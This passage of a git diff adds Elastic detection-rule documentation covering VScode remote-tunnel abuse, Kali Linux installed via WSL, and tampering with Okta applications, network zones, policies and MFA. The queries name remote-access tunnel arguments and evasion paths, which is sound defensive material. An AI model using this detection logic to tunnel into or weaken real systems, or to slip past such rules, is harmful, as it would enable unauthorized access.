+** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-establish-vscode-remote-tunnel.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-establish-vscode-remote-tunnel.asciidoc new file mode 100644 index 0000000000..ceb26fc06b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-establish-vscode-remote-tunnel.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-attempt-to-establish-vscode-remote-tunnel]] +=== Attempt to Establish VScode Remote Tunnel + +Detects the execution of the VScode portable binary with the tunnel command line option indicating an attempt to establish a remote tunnel session to Github or a remote VScode instance. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://badoption.eu/blog/2023/01/31/code_c2.html +* https://code.visualstudio.com/docs/remote/tunnels + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Establish VScode Remote Tunnel* + + +Visual Studio Code (VScode) offers a remote tunnel feature enabling developers to connect to remote environments seamlessly. While beneficial for legitimate remote development, adversaries can exploit this to establish unauthorized access or control over systems. The detection rule identifies suspicious use of VScode's tunnel command, focusing on specific command-line arguments and process behaviors, to flag potential misuse indicative of command and control activities. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the "tunnel" argument in the command line, which indicates an attempt to establish a remote tunnel session. +- Check the parent process name to ensure it is not "Code.exe" when the process name is "code-tunnel.exe" with the "status" argument, as this is an exception in the rule. +- Investigate the origin of the process by examining the user account and machine from which the process was initiated to determine if it aligns with expected usage patterns. +- Analyze network logs to identify any unusual or unauthorized connections to GitHub or remote VScode instances that may suggest malicious activity. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context on the activity. +- Assess the risk and impact by determining if the system or user account has been involved in previous suspicious activities or if there are any indicators of compromise. + + +*False positive analysis* + + +- Legitimate remote development activities using VScode's tunnel feature may trigger the rule. Users can create exceptions for known developer machines or specific user accounts frequently using this feature for authorized purposes. +- Automated scripts or deployment tools that utilize VScode's remote tunnel for legitimate operations might be flagged. Consider excluding these processes by identifying their unique command-line arguments or parent processes. +- Scheduled tasks or system maintenance activities that involve VScode's remote capabilities could be misidentified as threats. Review and whitelist these tasks by their specific execution times or associated service accounts. +- Development environments that frequently update or test VScode extensions might inadvertently match the rule's criteria. Exclude these environments by setting up exceptions based on their network segments or IP addresses. +- Training or demonstration sessions using VScode's remote features for educational purposes can be mistaken for suspicious activity. Implement exclusions for these sessions by tagging them with specific event identifiers or user roles. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious VScode processes identified by the detection rule to halt potential command and control activities. +- Conduct a thorough review of system logs and process histories to identify any additional indicators of compromise or lateral movement attempts. +- Reset credentials and access tokens associated with the affected system and any connected services to mitigate unauthorized access. +- Restore the system from a known good backup if any unauthorized changes or malware are detected. +- Implement network segmentation to limit the ability of similar threats to spread across the environment. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : "tunnel" and + (process.args : "--accept-server-license-terms" or + process.name : "code*.exe" or + ?process.code_signature.subject_name : "Microsoft Corporation" or + process.executable : ("?:\\ProgramData\\*", "?:\\Users\\Public\\*", "?:\\windows\\debug\\*", + "\\Device\\HarddiskVolume*\\Users\\Public\\*", "\\Device\\HarddiskVolume*\\ProgramData\\*", "\\Device\\HarddiskVolume*\\windows\\debug\\*")) and + not (process.name == "code-tunnel.exe" and process.args == "status" and process.parent.name == "Code.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-install-kali-linux-via-wsl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-install-kali-linux-via-wsl.asciidoc new file mode 100644 index 0000000000..06963f5f84 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-install-kali-linux-via-wsl.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-attempt-to-install-kali-linux-via-wsl]] +=== Attempt to Install Kali Linux via WSL + +Detects attempts to install or use Kali Linux via Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Install Kali Linux via WSL* + + +Windows Subsystem for Linux (WSL) allows users to run Linux distributions on Windows, providing a seamless integration of Linux tools. Adversaries may exploit WSL to install Kali Linux, a penetration testing distribution, to evade detection by traditional Windows security tools. The detection rule identifies suspicious processes and file paths associated with Kali Linux installations, flagging potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of "wsl.exe" with arguments indicating an attempt to install or use Kali Linux, such as "-d", "--distribution", "-i", or "--install". +- Check the file paths associated with the Kali Linux installation, such as "?:\Users\*\AppData\Local\packages\kalilinux*" or "?:\Program Files*\WindowsApps\KaliLinux.*\kali.exe", to verify if the installation files exist on the system. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. +- Assess the risk and impact of the detected activity by considering the context of the environment and any potential threats posed by the use of Kali Linux on the system. + + +*False positive analysis* + + +- Legitimate use of Kali Linux for development or educational purposes may trigger the rule. Users can create exceptions for specific user accounts or groups known to use Kali Linux for authorized activities. +- Automated scripts or deployment tools that install or configure Kali Linux as part of a legitimate IT process might be flagged. Consider whitelisting these scripts or processes by their hash or path. +- Security researchers or IT professionals conducting penetration testing on a Windows machine may cause false positives. Implement user-based exclusions for these professionals to prevent unnecessary alerts. +- System administrators testing WSL features with various Linux distributions, including Kali, could inadvertently trigger the rule. Establish a policy to document and approve such activities, then exclude them from detection. +- Training environments where Kali Linux is used to teach cybersecurity skills might be mistakenly flagged. Set up environment-specific exclusions to avoid disrupting educational activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent any potential lateral movement or data exfiltration. +- Terminate any suspicious processes related to the Kali Linux installation attempt, specifically those involving `wsl.exe` with arguments indicating a Kali distribution. +- Remove any unauthorized installations of Kali Linux by deleting associated files and directories, such as those found in `AppData\\Local\\packages\\kalilinux*` or `Program Files*\\WindowsApps\\KaliLinux.*`. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar activities across the network, focusing on WSL usage and installation attempts of known penetration testing tools. +- Review and update endpoint protection configurations to enhance detection and prevention capabilities against similar threats, leveraging data sources like Microsoft Defender XDR and Sysmon. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + (process.name : "wsl.exe" and process.args : ("-d", "--distribution", "-i", "--install") and process.args : "kali*") or + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\packages\\kalilinux*", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\WindowsApps\\kali.exe", + "?:\\Program Files*\\WindowsApps\\KaliLinux.*\\kali.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\packages\\kalilinux*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\Microsoft\\WindowsApps\\kali.exe", + "\\Device\\HarddiskVolume*\\Program Files*\\WindowsApps\\KaliLinux.*\\kali.exe" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-application.asciidoc new file mode 100644 index 0000000000..c5cfb8a5c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-application.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-21-attempt-to-modify-an-okta-application]] +=== Attempt to Modify an Okta Application + +Detects attempts to modify an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Apps/Apps_Apps.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 413 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Modify an Okta Application* + + +Okta is a widely used identity management service that helps organizations manage user access to applications securely. Adversaries may target Okta applications to alter, deactivate, or delete them, aiming to compromise security controls or disrupt operations. The detection rule monitors system events for application lifecycle updates, flagging unauthorized modification attempts to preempt potential security breaches. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:application.lifecycle.update to identify the specific application and user involved in the modification attempt. +- Verify the user's role and permissions within Okta to determine if they have legitimate access to modify the application. +- Check for any recent changes in user permissions or roles that might explain the modification attempt. +- Investigate the history of the application in question to see if there have been any previous unauthorized modification attempts or related security incidents. +- Correlate the event timestamp with other security logs and alerts to identify any concurrent suspicious activities or patterns that might indicate a broader attack. + + +*False positive analysis* + + +- Routine administrative updates to Okta applications by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles known to perform regular maintenance. +- Scheduled application updates or maintenance activities may be flagged. Document these activities and adjust the monitoring schedule to avoid unnecessary alerts during these periods. +- Integration or testing environments often undergo frequent changes. Exclude these environments from monitoring or adjust the rule to focus on production environments only. +- Automated scripts or tools used for application management might generate false positives. Identify these tools and whitelist their actions to prevent unnecessary alerts. +- Changes made by third-party vendors or partners with legitimate access can be mistaken for unauthorized attempts. Ensure these entities are properly documented and their actions are accounted for in the monitoring setup. + + +*Response and remediation* + + +- Immediately isolate the affected Okta application to prevent further unauthorized modifications. This can be done by temporarily disabling the application or restricting access to it. +- Review and revoke any unauthorized changes made to the application settings. Restore the application to its last known good configuration using backup or audit logs. +- Conduct a thorough audit of recent access logs to identify any unauthorized users or suspicious activities related to the application lifecycle updates. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader security implications or related incidents. +- Implement additional monitoring on the affected application and similar applications to detect any further unauthorized modification attempts. +- Review and update access controls and permissions for Okta applications to ensure that only authorized personnel have the ability to modify application settings. +- Communicate with relevant stakeholders, including IT and security teams, to inform them of the incident and any changes made to the application settings as part of the remediation process. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:application.lifecycle.update + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-network-zone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-network-zone.asciidoc new file mode 100644 index 0000000000..f9041bf74f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-network-zone.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-attempt-to-modify-an-okta-network-zone]] +=== Attempt to Modify an Okta Network Zone + +Detects attempts to modify an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Network Zone* + + +The modification of an Okta network zone is a critical event as it could potentially allow an adversary to gain unrestricted access to your network. This rule detects attempts to modify, delete, or deactivate an Okta network zone, which may suggest an attempt to remove or weaken an organization's security controls. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the modification attempt. +- Check the `okta.outcome.result` field to confirm the network zone modification attempt. +- Check if there are multiple network zone modification attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the modification attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the modification attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the modification attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the modification attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized modification is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific modification technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:(zone.update or network_zone.rule.disabled or zone.remove_blacklist) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..dd32a1b919 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy-rule.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy-rule]] +=== Attempt to Modify an Okta Policy Rule + +Detects attempts to modify a rule within an Okta policy. An adversary may attempt to modify an Okta policy rule in order to weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Policy Rule* + + +The modification of an Okta policy rule can be an indication of malicious activity as it may aim to weaken an organization's security controls. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the modification attempt. +- Check the `okta.outcome.result` field to confirm the rule modification attempt. +- Check if there are multiple rule modification attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the modification attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the modification attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the modification attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the modification attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized modification is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific modification technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.rule.update + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy.asciidoc new file mode 100644 index 0000000000..d50340e8e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-attempt-to-modify-an-okta-policy]] +=== Attempt to Modify an Okta Policy + +Detects attempts to modify an Okta policy. An adversary may attempt to modify an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to modify an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Policy* + + +Modifications to Okta policies may indicate attempts to weaken an organization's security controls. If such an attempt is detected, consider the following steps for investigation. + + +*Possible investigation steps:* + +- Identify the actor associated with the event. Check the fields `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name`. +- Determine the client used by the actor. You can look at `okta.client.device`, `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.ip_chain.ip`, and `okta.client.geographical_context`. +- Check the nature of the policy modification. You can review the `okta.target` field, especially `okta.target.display_name` and `okta.target.id`. +- Examine the `okta.outcome.result` and `okta.outcome.reason` fields to understand the outcome of the modification attempt. +- Check if there have been other similar modification attempts in a short time span from the same actor or IP address. + + +*False positive analysis:* + +- This alert might be a false positive if Okta policies are regularly updated in your organization as a part of normal operations. +- Check if the actor associated with the event has legitimate rights to modify the Okta policies. +- Verify the actor's geographical location and the time of the modification attempt. If these align with the actor's regular behavior, it could be a false positive. + + +*Response and remediation:* + +- If unauthorized modification is confirmed, initiate the incident response process. +- Lock the actor's account and enforce password change as an immediate response. +- Reset MFA tokens for the actor and enforce re-enrollment, if applicable. +- Review any other actions taken by the actor to assess the overall impact. +- If the attack was facilitated by a particular technique, ensure your systems are patched or configured to prevent such techniques. +- Consider a security review of your Okta policies and rules to ensure they follow security best practices. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.lifecycle.update + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc new file mode 100644 index 0000000000..c0b9c0918a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-attempt-to-reset-mfa-factors-for-an-okta-user-account]] +=== Attempt to Reset MFA Factors for an Okta User Account + +Detects attempts to reset an Okta user's enrolled multi-factor authentication (MFA) factors. An adversary may attempt to reset the MFA factors for an Okta user's account in order to register new MFA factors and abuse the account to blend in with normal activity in the victim's environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 415 